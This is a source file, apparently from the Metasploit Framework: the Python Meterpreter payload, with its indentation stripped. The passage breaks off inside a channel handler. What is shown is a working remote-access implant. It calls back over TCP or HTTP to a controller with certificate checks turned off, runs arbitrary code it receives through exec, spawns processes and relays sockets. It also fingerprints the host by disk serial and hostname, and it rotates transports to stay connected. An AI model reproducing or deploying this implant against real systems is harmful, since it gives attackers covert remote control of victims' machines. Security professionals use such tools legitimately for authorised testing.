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metasploit-framework
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metasploit-framework/data/meterpreter/meterpreter.py

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#!/usr/bin/python
# vim: tabstop=4 softtabstop=4 shiftwidth=4 noexpandtab
import code
import os
import platform
import random
import select
import socket
import struct
import subprocess
import sys
import threading
import time
import traceback
try:
import ctypes
except ImportError:
has_windll = False
else:
has_windll = hasattr(ctypes, 'windll')
# this MUST be imported for urllib to work on OSX
try:
import SystemConfiguration as osxsc
osxsc.SCNetworkInterfaceCopyAll()
has_osxsc = True
except ImportError:
has_osxsc = False
try:
urllib_imports = ['ProxyHandler', 'Request', 'build_opener', 'install_opener', 'urlopen']
if sys.version_info[0] < 3:
urllib = __import__('urllib2', fromlist=urllib_imports)
else:
urllib = __import__('urllib.request', fromlist=urllib_imports)
except ImportError:
has_urllib = False
else:
has_urllib = True
if sys.version_info[0] < 3:
is_str = lambda obj: issubclass(obj.__class__, str)
is_bytes = lambda obj: issubclass(obj.__class__, str)
bytes = lambda *args: str(*args[:1])
NULL_BYTE = '\x00'
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x)
else:
if isinstance(__builtins__, dict):
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
str = lambda x: __builtins__['str'](x, *(() if isinstance(x, (float, int)) else ('UTF-8',)))
else:
is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
str = lambda x: __builtins__.str(x, *(() if isinstance(x, (float, int)) else ('UTF-8',)))
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
NULL_BYTE = bytes('\x00', 'UTF-8')
long = int
unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x)
#
# Constants
#
# these values will be patched, DO NOT CHANGE THEM
DEBUGGING = False
HTTP_CONNECTION_URL = None
HTTP_PROXY = None
HTTP_USER_AGENT = None
PAYLOAD_UUID = ""
SESSION_COMMUNICATION_TIMEOUT = 300
SESSION_EXPIRATION_TIMEOUT = 604800
SESSION_RETRY_TOTAL = 3600
SESSION_RETRY_WAIT = 10
PACKET_TYPE_REQUEST = 0
PACKET_TYPE_RESPONSE = 1
PACKET_TYPE_PLAIN_REQUEST = 10
PACKET_TYPE_PLAIN_RESPONSE = 11
ERROR_SUCCESS = 0
# not defined in original C implementation
ERROR_FAILURE = 1
ERROR_FAILURE_PYTHON = 2
ERROR_FAILURE_WINDOWS = 3
CHANNEL_CLASS_BUFFERED = 0
CHANNEL_CLASS_STREAM = 1
CHANNEL_CLASS_DATAGRAM = 2
CHANNEL_CLASS_POOL = 3
#
# TLV Meta Types
#
TLV_META_TYPE_NONE = ( 0 )
TLV_META_TYPE_STRING = (1 << 16)
TLV_META_TYPE_UINT = (1 << 17)
TLV_META_TYPE_RAW = (1 << 18)
TLV_META_TYPE_BOOL = (1 << 19)
TLV_META_TYPE_QWORD = (1 << 20)
TLV_META_TYPE_COMPRESSED = (1 << 29)
TLV_META_TYPE_GROUP = (1 << 30)
TLV_META_TYPE_COMPLEX = (1 << 31)
# not defined in original
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
#
# TLV base starting points
#
TLV_RESERVED = 0
TLV_EXTENSIONS = 20000
TLV_USER = 40000
TLV_TEMP = 60000
#
# TLV Specific Types
#
TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1
TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
TLV_TYPE_CHANNEL_PARENTID = TLV_META_TYPE_UINT | 55
TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70
TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71
TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72
TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300
TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301
TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400
TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401
TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402
TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
TLV_TYPE_TRANS_TYPE = TLV_META_TYPE_UINT | 430
TLV_TYPE_TRANS_URL = TLV_META_TYPE_STRING | 431
TLV_TYPE_TRANS_UA = TLV_META_TYPE_STRING | 432
TLV_TYPE_TRANS_COMM_TIMEOUT = TLV_META_TYPE_UINT | 433
TLV_TYPE_TRANS_SESSION_EXP = TLV_META_TYPE_UINT | 434
TLV_TYPE_TRANS_CERT_HASH = TLV_META_TYPE_RAW | 435
TLV_TYPE_TRANS_PROXY_HOST = TLV_META_TYPE_STRING | 436
TLV_TYPE_TRANS_PROXY_USER = TLV_META_TYPE_STRING | 437
TLV_TYPE_TRANS_PROXY_PASS = TLV_META_TYPE_STRING | 438
TLV_TYPE_TRANS_RETRY_TOTAL = TLV_META_TYPE_UINT | 439
TLV_TYPE_TRANS_RETRY_WAIT = TLV_META_TYPE_UINT | 440
TLV_TYPE_TRANS_GROUP = TLV_META_TYPE_GROUP | 441
TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460
TLV_TYPE_UUID = TLV_META_TYPE_RAW | 461
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500
TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501
TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502
TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503
EXPORTED_SYMBOLS = {}
EXPORTED_SYMBOLS['DEBUGGING'] = DEBUGGING
def export(symbol):
EXPORTED_SYMBOLS[symbol.__name__] = symbol
return symbol
def generate_request_id():
chars = 'abcdefghijklmnopqrstuvwxyz'
return ''.join(random.choice(chars) for x in range(32))
@export
def crc16(data):
poly = 0x1021
reg = 0x0000
if is_str(data):
data = list(map(ord, data))
elif is_bytes(data):
data = list(data)
data.append(0)
data.append(0)
for byte in data:
mask = 0x80
while mask > 0:
reg <<= 1
if byte & mask:
reg += 1
mask >>= 1
if reg > 0xffff:
reg &= 0xffff
reg ^= poly
return reg
@export
def error_result(exception=None):
if not exception:
_, exception, _ = sys.exc_info()
exception_crc = crc16(exception.__class__.__name__)
if exception_crc == 0x4cb2: # WindowsError
return error_result_windows(exception.errno)
else:
result = ((exception_crc << 16) | ERROR_FAILURE_PYTHON)
return result
@export
def error_result_windows(error_number=None):
if not has_windll:
return ERROR_FAILURE
if error_number == None:
error_number = ctypes.windll.kernel32.GetLastError()
if error_number > 0xffff:
return ERROR_FAILURE
result = ((error_number << 16) | ERROR_FAILURE_WINDOWS)
return result
@export
def get_hdd_label():
for _, _, files in os.walk('/dev/disk/by-id/'):
for f in files:
for p in ['ata-', 'mb-']:
if f[:len(p)] == p:
return f[len(p):]
return ''
@export
def inet_pton(family, address):
if hasattr(socket, 'inet_pton'):
return socket.inet_pton(family, address)
elif has_windll:
WSAStringToAddress = ctypes.windll.ws2_32.WSAStringToAddressA
lpAddress = (ctypes.c_ubyte * 28)()
lpAddressLength = ctypes.c_int(ctypes.sizeof(lpAddress))
if WSAStringToAddress(address, family, None, ctypes.byref(lpAddress), ctypes.byref(lpAddressLength)) != 0:
raise Exception('WSAStringToAddress failed')
if family == socket.AF_INET:
return ''.join(map(chr, lpAddress[4:8]))
elif family == socket.AF_INET6:
return ''.join(map(chr, lpAddress[8:24]))
raise Exception('no suitable inet_pton functionality is available')
@export
def packet_enum_tlvs(pkt, tlv_type = None):
offset = 0
while (offset < len(pkt)):
tlv = struct.unpack('>II', pkt[offset:offset+8])
if (tlv_type == None) or ((tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type):
val = pkt[offset+8:(offset+8+(tlv[0] - 8))]
if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
val = str(val.split(NULL_BYTE, 1)[0])
elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
val = struct.unpack('>I', val)[0]
elif (tlv[1] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD:
val = struct.unpack('>Q', val)[0]
elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
val = bool(struct.unpack('b', val)[0])
elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
pass
yield {'type':tlv[1], 'length':tlv[0], 'value':val}
offset += tlv[0]
raise StopIteration()
@export
def packet_get_tlv(pkt, tlv_type):
try:
tlv = list(packet_enum_tlvs(pkt, tlv_type))[0]
except IndexError:
return {}
return tlv
@export
def tlv_pack(*args):
if len(args) == 2:
tlv = {'type':args[0], 'value':args[1]}
else:
tlv = args[0]
data = ''
value = tlv['value']
if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
if isinstance(value, float):
value = int(round(value))
data = struct.pack('>III', 12, tlv['type'], value)
elif (tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD:
data = struct.pack('>IIQ', 16, tlv['type'], value)
elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(value))), 'UTF-8')
else:
if sys.version_info[0] < 3 and value.__class__.__name__ == 'unicode':
value = value.encode('UTF-8')
elif not is_bytes(value):
value = bytes(value, 'UTF-8')
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE
elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP:
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX:
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
return data
@export
def tlv_pack_response(result, response):
response += tlv_pack(TLV_TYPE_RESULT, result)
response = struct.pack('>I', len(response) + 4) + response
return response
#@export
class MeterpreterFile(object):
def __init__(self, file_obj):
self.file_obj = file_obj
def __getattr__(self, name):
return getattr(self.file_obj, name)
export(MeterpreterFile)
#@export
class MeterpreterSocket(object):
def __init__(self, sock):
self.sock = sock
def __getattr__(self, name):
return getattr(self.sock, name)
export(MeterpreterSocket)
#@export
class MeterpreterSocketClient(MeterpreterSocket):
pass
export(MeterpreterSocketClient)
#@export
class MeterpreterSocketServer(MeterpreterSocket):
pass
export(MeterpreterSocketServer)
class STDProcessBuffer(threading.Thread):
def __init__(self, std, is_alive):
threading.Thread.__init__(self)
self.std = std
self.is_alive = is_alive
self.data = bytes()
self.data_lock = threading.RLock()
def run(self):
for byte in iter(lambda: self.std.read(1), bytes()):
self.data_lock.acquire()
self.data += byte
self.data_lock.release()
def is_read_ready(self):
return len(self.data) != 0
def peek(self, l = None):
data = bytes()
self.data_lock.acquire()
if l == None:
data = self.data
else:
data = self.data[0:l]
self.data_lock.release()
return data
def read(self, l = None):
self.data_lock.acquire()
data = self.peek(l)
self.data = self.data[len(data):]
self.data_lock.release()
return data
#@export
class STDProcess(subprocess.Popen):
def __init__(self, *args, **kwargs):
subprocess.Popen.__init__(self, *args, **kwargs)
self.echo_protection = False
def start(self):
self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None)
self.stdout_reader.start()
self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None)
self.stderr_reader.start()
def write(self, channel_data):
self.stdin.write(channel_data)
self.stdin.flush()
if self.echo_protection:
end_time = time.time() + 0.5
out_data = bytes()
while (time.time() < end_time) and (out_data != channel_data):
if self.stdout_reader.is_read_ready():
out_data = self.stdout_reader.peek(len(channel_data))
if out_data == channel_data:
self.stdout_reader.read(len(channel_data))
export(STDProcess)
class Transport(object):
def __init__(self):
self.communication_timeout = SESSION_COMMUNICATION_TIMEOUT
self.communication_last = 0
self.communication_active = False
self.retry_total = SESSION_RETRY_TOTAL
self.retry_wait = SESSION_RETRY_WAIT
def __repr__(self):
return "<{0} url='{1}' >".format(self.__class__.__name__, self.url)
@property
def communication_has_expired(self):
return self.communication_last + self.communication_timeout < time.time()
@staticmethod
def from_request(request):
url = packet_get_tlv(request, TLV_TYPE_TRANS_URL)['value']
if url.startswith('tcp'):
transport = TcpTransport(url)
elif url.startswith('http'):
proxy = packet_get_tlv(request, TLV_TYPE_TRANS_PROXY_HOST).get('value')
user_agent = packet_get_tlv(request, TLV_TYPE_TRANS_UA).get('value', HTTP_USER_AGENT)
transport = HttpTransport(url, proxy=proxy, user_agent=user_agent)
transport.communication_timeout = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT).get('value', SESSION_COMMUNICATION_TIMEOUT)
transport.retry_total = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_TOTAL).get('value', SESSION_RETRY_TOTAL)
transport.retry_wait = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_WAIT).get('value', SESSION_RETRY_WAIT)
return transport
def _activate(self):
return True
def activate(self):
end_time = time.time() + self.retry_total
while time.time() < end_time:
try:
activate_succeeded = self._activate()
except:
activate_succeeded = False
if activate_succeeded:
self.communication_last = time.time()
self.communication_active = True
return True
time.sleep(self.retry_wait)
return False
def _deactivate(self):
return
def deactivate(self):
try:
self._deactivate()
except:
pass
self.communication_last = 0
self.communication_active = False
return True
def get_packet(self):
try:
pkt = self._get_packet()
except:
self.communication_active = False
return None
if pkt:
self.communication_active = True
self.communication_last = time.time()
return pkt
def send_packet(self, pkt):
try:
self._send_packet(pkt)
except:
self.communication_active = False
return False
self.communication_active = True
self.communication_last = time.time()
return True
def tlv_pack_timeouts(self):
response = tlv_pack(TLV_TYPE_TRANS_COMM_TIMEOUT, self.communication_timeout)
response += tlv_pack(TLV_TYPE_TRANS_RETRY_TOTAL, self.retry_total)
response += tlv_pack(TLV_TYPE_TRANS_RETRY_WAIT, self.retry_wait)
return response
def tlv_pack_transport_group(self):
trans_group = tlv_pack(TLV_TYPE_TRANS_URL, self.url)
trans_group += self.tlv_pack_timeouts()
return trans_group
class HttpTransport(Transport):
def __init__(self, url, proxy=None, user_agent=None):
super(HttpTransport, self).__init__()
opener_args = []
scheme = url.split(':', 1)[0]
if scheme == 'https' and ((sys.version_info[0] == 2 and sys.version_info >= (2,7,9)) or sys.version_info >= (3,4,3)):
import ssl
ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
ssl_ctx.check_hostname = False
ssl_ctx.verify_mode = ssl.CERT_NONE
opener_args.append(urllib.HTTPSHandler(0, ssl_ctx))
if proxy:
opener_args.append(urllib.ProxyHandler({scheme: proxy}))
self.proxy = proxy
opener = urllib.build_opener(*opener_args)
if user_agent:
opener.addheaders = [('User-Agent', user_agent)]
self.user_agent = user_agent
urllib.install_opener(opener)
self.url = url
self._http_request_headers = {'Content-Type': 'application/octet-stream'}
self._first_packet = None
def _activate(self):
return True
self._first_packet = None
packet = self._get_packet()
if packet is None:
return False
self._first_packet = packet
return True
def _get_packet(self):
if self._first_packet:
packet = self._first_packet
self._first_packet = None
return packet
packet = None
request = urllib.Request(self.url, bytes('RECV', 'UTF-8'), self._http_request_headers)
url_h = urllib.urlopen(request, timeout=self.communication_timeout)
packet = url_h.read()
if not packet or len(packet) < 8:
return None
pkt_length, _ = struct.unpack('>II', packet[:8])
if len(packet) != pkt_length:
return None
return packet[8:]
def _send_packet(self, packet):
request = urllib.Request(self.url, packet, self._http_request_headers)
url_h = urllib.urlopen(request, timeout=self.communication_timeout)
response = url_h.read()
def tlv_pack_transport_group(self):
trans_group = super(HttpTransport, self).tlv_pack_transport_group()
if self.user_agent:
trans_group += tlv_pack(TLV_TYPE_TRANS_UA, self.user_agent)
if self.proxy:
trans_group += tlv_pack(TLV_TYPE_TRANS_PROXY_HOST, self.proxy)
return trans_group
class TcpTransport(Transport):
def __init__(self, url, socket=None):
super(TcpTransport, self).__init__()
self.url = url
self.socket = socket
self._cleanup_thread = None
self._first_packet = True
def _sock_cleanup(self, sock):
remaining_time = self.communication_timeout
while remaining_time > 0:
iter_start_time = time.time()
if select.select([sock], [], [], remaining_time)[0]:
if len(sock.recv(4096)) == 0:
break
remaining_time -= time.time() - iter_start_time
sock.close()
def _activate(self):
if self.url.startswith('tcp:'):
family = socket.AF_INET
address, port = self.url[6:].split(':', 1)
else:
family = socket.AF_INET6
address, port = self.url[7:].split(':', 1)
port = int(port.rstrip('/'))
timeout = max(self.communication_timeout, 30)
if address in ('', '0.0.0.0', '::'):
try:
server_sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
server_sock.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 0)
except (AttributeError, socket.error):
server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_sock.bind(('', port))
server_sock.listen(1)
if not select.select([server_sock], [], [], timeout)[0]:
server_sock.close()
return False
sock, _ = server_sock.accept()
server_sock.close()
else:
sock = socket.socket(family, socket.SOCK_STREAM)
sock.settimeout(timeout)
sock.connect((address, port))
sock.settimeout(None)
self.socket = sock
self._first_packet = True
return True
def _deactivate(self):
cleanup = threading.Thread(target=self._sock_cleanup, args=(self.socket,))
cleanup.run()
self.socket = None
def _get_packet(self):
packet = None
first = self._first_packet
self._first_packet = False
if select.select([self.socket], [], [], max(self.communication_timeout, 0.5))[0]:
packet = self.socket.recv(8)
if len(packet) != 8:
if first and len(packet) == 4:
received = 0
pkt_length = struct.unpack('>I', packet)[0]
self.socket.settimeout(max(self.communication_timeout, 30))
while received < pkt_length:
received += len(self.socket.recv(pkt_length - received))
self.socket.settimeout(None)
return self._get_packet()
return None
pkt_length, pkt_type = struct.unpack('>II', packet)
pkt_length -= 8
packet = bytes()
while len(packet) < pkt_length:
packet += self.socket.recv(pkt_length - len(packet))
return packet
def _send_packet(self, packet):
self.socket.send(packet)
@classmethod
def from_socket(cls, sock):
if sock.family == socket.AF_INET:
url = 'tcp://'
else:
url = 'tcp6://'
address, port = sock.getsockname()[:2]
# this will need to be changed if the bind stager ever supports binding to a specific address
if not address in ('', '0.0.0.0', '::'):
address, port = sock.getpeername()[:2]
url += address + ':' + str(port)
return cls(url, sock)
class PythonMeterpreter(object):
def __init__(self, transport):
self.transport = transport
self.running = False
self.last_registered_extension = None
self.extension_functions = {}
self.channels = {}
self.interact_channels = []
self.processes = {}
self.transports = [self.transport]
self.session_expiry_time = SESSION_EXPIRATION_TIMEOUT
self.session_expiry_end = time.time() + self.session_expiry_time
for func in list(filter(lambda x: x.startswith('_core'), dir(self))):
self.extension_functions[func[1:]] = getattr(self, func)
self.running = True
def debug_print(self, msg):
if DEBUGGING:
print(msg)
def register_extension(self, extension_name):
self.last_registered_extension = extension_name
return self.last_registered_extension
def register_function(self, func):
self.extension_functions[func.__name__] = func
return func
def register_function_windll(self, func):
if has_windll:
self.register_function(func)
return func
def add_channel(self, channel):
assert(isinstance(channel, (subprocess.Popen, MeterpreterFile, MeterpreterSocket)))
idx = 0
while idx in self.channels:
idx += 1
self.channels[idx] = channel
return idx
def add_process(self, process):
idx = 0
while idx in self.processes:
idx += 1
self.processes[idx] = process
return idx
def get_packet(self):
pkt = self.transport.get_packet()
if pkt is None and self.transport.communication_has_expired:
self.transport_change()
return pkt
def send_packet(self, packet):
send_succeeded = self.transport.send_packet(packet)
if not send_succeeded and self.transport.communication_has_expired:
self.transport_change()
return send_succeeded
@property
def session_has_expired(self):
if self.session_expiry_time == 0:
return False
return time.time() > self.session_expiry_end
def transport_change(self, new_transport=None):
if new_transport == self.transport:
return
if new_transport is None:
new_transport = self.transport_next()
self.transport.deactivate()
self.debug_print('[*] changing transport to: ' + new_transport.url)
while not new_transport.activate():
new_transport = self.transport_next(new_transport)
self.debug_print('[*] changing transport to: ' + new_transport.url)
self.transport = new_transport
def transport_next(self, current_transport=None):
if current_transport is None:
current_transport = self.transport
new_idx = self.transports.index(current_transport) + 1
if new_idx == len(self.transports):
new_idx = 0
return self.transports[new_idx]
def transport_prev(self, current_transport=None):
if current_transport is None:
current_transport = self.transport
new_idx = self.transports.index(current_transport) - 1
if new_idx == 0:
new_idx = len(self.transports) - 1
return self.transports[new_idx]
def run(self):
while self.running and not self.session_has_expired:
request = None
should_get_packet = self.transport.communication_active or ((time.time() - self.transport.communication_last) > 1)
if should_get_packet:
request = self.get_packet()
if request:
response = self.create_response(request)
if response:
self.send_packet(response)
else:
# iterate over the keys because self.channels could be modified if one is closed
channel_ids = list(self.channels.keys())
for channel_id in channel_ids:
channel = self.channels[channel_id]
data = bytes()
if isinstance(channel, STDProcess):
if not channel_id in self.interact_channels:
continue
if channel.stderr_reader.is_read_ready():
data = channel.stderr_reader.read()
elif channel.stdout_reader.is_read_ready():
data = channel.stdout_reader.read()
elif channel.poll() != None:
self.handle_dead_resource_channel(channel_id)
elif isinstance(channel, MeterpreterSocketClient):
while select.select([channel.fileno()], [], [], 0)[0]:
try:
d = channel.recv(1)
except socket.error:
d = bytes()
if len(d) == 0:
self.handle_dead_resource_channel(channel_id)
break
data += d
elif isinstance(channel, MeterpreterSocketServer):
if select.select([channel.fileno()], [], [], 0)[0]:
(client_sock, client_addr) = channel.accept()
server_addr = channel.getsockname()
client_channel_id = self.add_channel(MeterpreterSocketClient(client_sock))
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
pkt += tlv_pack(TLV_TYPE_METHOD, 'tcp_channel_open')
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, client_channel_id)
pkt += tlv_pack(TLV_TYPE_CHANNEL_PARENTID, channel_id)
pkt += tlv_pack(TLV_TYPE_LOCAL_HOST, inet_pton(channel.family, server_addr[0]))
pkt += tlv_pack(TLV_TYPE_LOCAL_PORT, server_addr[1])
pkt += tlv_pack(TLV_TYPE_PEER_HOST, inet_pton(client_sock.family, client_addr[0]))
pkt += tlv_pack(TLV_TYPE_PEER_PORT, client_addr[1])
pkt = struct.pack('>I', len(pkt) + 4) + pkt
self.send_packet(pkt)
if data:
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write')
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
pkt += tlv_pack(TLV_TYPE_CHANNEL_DATA, data)
pkt += tlv_pack(TLV_TYPE_LENGTH, len(data))
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
pkt = struct.pack('>I', len(pkt) + 4) + pkt
self.send_packet(pkt)
def handle_dead_resource_channel(self, channel_id):
del self.channels[channel_id]
if channel_id in self.interact_channels:
self.interact_channels.remove(channel_id)
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_close')
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
pkt = struct.pack('>I', len(pkt) + 4) + pkt
self.send_packet(pkt)
def _core_uuid(self, request, response):
response += tlv_pack(TLV_TYPE_UUID, PAYLOAD_UUID)
return ERROR_SUCCESS, response
def _core_enumextcmd(self, request, response):
extension_name = packet_get_tlv(request, TLV_TYPE_STRING)['value']
for func_name in self.extension_functions.keys():
if func_name.split('_', 1)[0] == extension_name:
response += tlv_pack(TLV_TYPE_STRING, func_name)
return ERROR_SUCCESS, response
def _core_machine_id(self, request, response):
serial = ''
machine_name = platform.uname()[1]
if has_windll:
from ctypes import wintypes
k32 = ctypes.windll.kernel32
sys_dir = ctypes.create_unicode_buffer(260)
if not k32.GetSystemDirectoryW(ctypes.byref(sys_dir), 260):
return ERROR_FAILURE_WINDOWS
vol_buf = ctypes.create_unicode_buffer(260)
fs_buf = ctypes.create_unicode_buffer(260)
serial_num = wintypes.DWORD(0)
if not k32.GetVolumeInformationW(ctypes.c_wchar_p(sys_dir.value[:3]),
vol_buf, ctypes.sizeof(vol_buf), ctypes.byref(serial_num), None,
None, fs_buf, ctypes.sizeof(fs_buf)):
return ERROR_FAILURE_WINDOWS
serial_num = serial_num.value
serial = "{0:04x}-{1:04x}".format((serial_num >> 16) & 0xFFFF, serial_num & 0xFFFF)
else:
serial = get_hdd_label()
response += tlv_pack(TLV_TYPE_MACHINE_ID, "%s:%s" % (serial, machine_name))
return ERROR_SUCCESS, response
def _core_loadlib(self, request, response):
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
return ERROR_FAILURE
self.last_registered_extension = None
symbols_for_extensions = {'meterpreter':self}
symbols_for_extensions.update(EXPORTED_SYMBOLS)
i = code.InteractiveInterpreter(symbols_for_extensions)
i.runcode(compile(data_tlv['value'], '', 'exec'))
extension_name = self.last_registered_extension
if extension_name:
check_extension = lambda x: x.startswith(extension_name)
lib_methods = list(filter(check_extension, list(self.extension_functions.keys())))
for method in lib_methods:
response += tlv_pack(TLV_TYPE_METHOD, method)
return ERROR_SUCCESS, response
def _core_shutdown(self, request, response):
response += tlv_pack(TLV_TYPE_BOOL, True)
self.running = False
return ERROR_SUCCESS, response
def _core_transport_add(self, request, response):
self.transports.append(Transport.from_request(request))
return ERROR_SUCCESS, response
def _core_transport_change(self, request, response):
new_transport = Transport.from_request(request)
self.transports.append(new_transport)
self.send_packet(tlv_pack_response(ERROR_SUCCESS, response))
self.transport_change(new_transport)
return None
def _core_transport_list(self, request, response):
if self.session_expiry_time > 0:
response += tlv_pack(TLV_TYPE_TRANS_SESSION_EXP, self.session_expiry_end - time.time())
response += tlv_pack(TLV_TYPE_TRANS_GROUP, self.transport.tlv_pack_transport_group())
transport = self.transport_next()
while transport != self.transport:
response += tlv_pack(TLV_TYPE_TRANS_GROUP, transport.tlv_pack_transport_group())
transport = self.transport_next(transport)
return ERROR_SUCCESS, response
def _core_transport_next(self, request, response):
self.send_packet(tlv_pack_response(ERROR_SUCCESS, response))
self.transport_change(self.transport_next())
return None
def _core_transport_prev(self, request, response):
self.send_packet(tlv_pack_response(ERROR_SUCCESS, response))
self.transport_change(self.transport_prev())
return None
def _core_transport_remove(self, request, response):
url = packet_get_tlv(request, TLV_TYPE_TRANS_URL)['value']
if self.transport.url == url:
return ERROR_FAILURE, response
transport_found = False
for transport in self.transports:
if transport.url == url:
transport_found = True
break
if transport_found:
self.transports.remove(transport)
return ERROR_SUCCESS, response
return ERROR_FAILURE, response
def _core_transport_set_timeouts(self, request, response):
timeout_value = packet_get_tlv(request, TLV_TYPE_TRANS_SESSION_EXP).get('value')
if not timeout_value is None:
self.session_expiry_time = timeout_value
self.session_expiry_end = time.time() + self.session_expiry_time
timeout_value = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT).get('value')
if timeout_value:
self.transport.communication_timeout = timeout_value
retry_value = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_TOTAL).get('value')
if retry_value:
self.transport.retry_total = retry_value
retry_value = packet_get_tlv(request, TLV_TYPE_TRANS_RETRY_WAIT).get('value')
if retry_value:
self.transport.retry_wait = retry_value
if self.session_expiry_time > 0:
response += tlv_pack(TLV_TYPE_TRANS_SESSION_EXP, self.session_expiry_end - time.time())
response += self.transport.tlv_pack_timeouts()
return ERROR_SUCCESS, response
def _core_transport_sleep(self, request, response):
seconds = packet_get_tlv(request, TLV_TYPE_TRANS_COMM_TIMEOUT)['value']
self.send_packet(tlv_pack_response(ERROR_SUCCESS, response))
if seconds:
self.transport.deactivate()
time.sleep(seconds)
if not self.transport.activate():
self.transport_change()
return None
def _core_channel_open(self, request, response):
channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE)
handler = 'channel_open_' + channel_type['value']
if handler not in self.extension_functions:
return error_result(NotImplementedError), response
handler = self.extension_functions[handler]
return handler(request, response)
def _core_channel_close(self, request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
if channel_id not in self.channels:
return ERROR_FAILURE, response
channel = self.channels[channel_id]
if isinstance(channel, subprocess.Popen):
channel.kill()
elif isinstance(channel, MeterpreterFile):
channel.close()
elif isinstance(channel, MeterpreterSocket):
channel.close()
else:
return ERROR_FAILURE, response
del self.channels[channel_id]
if channel_id in self.interact_channels:
self.interact_channels.remove(channel_id)
return ERROR_SUCCESS, response
def _core_channel_eof(self, request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
if channel_id not in self.channels:
return ERROR_FAILURE, response
channel = self.channels[channel_id]
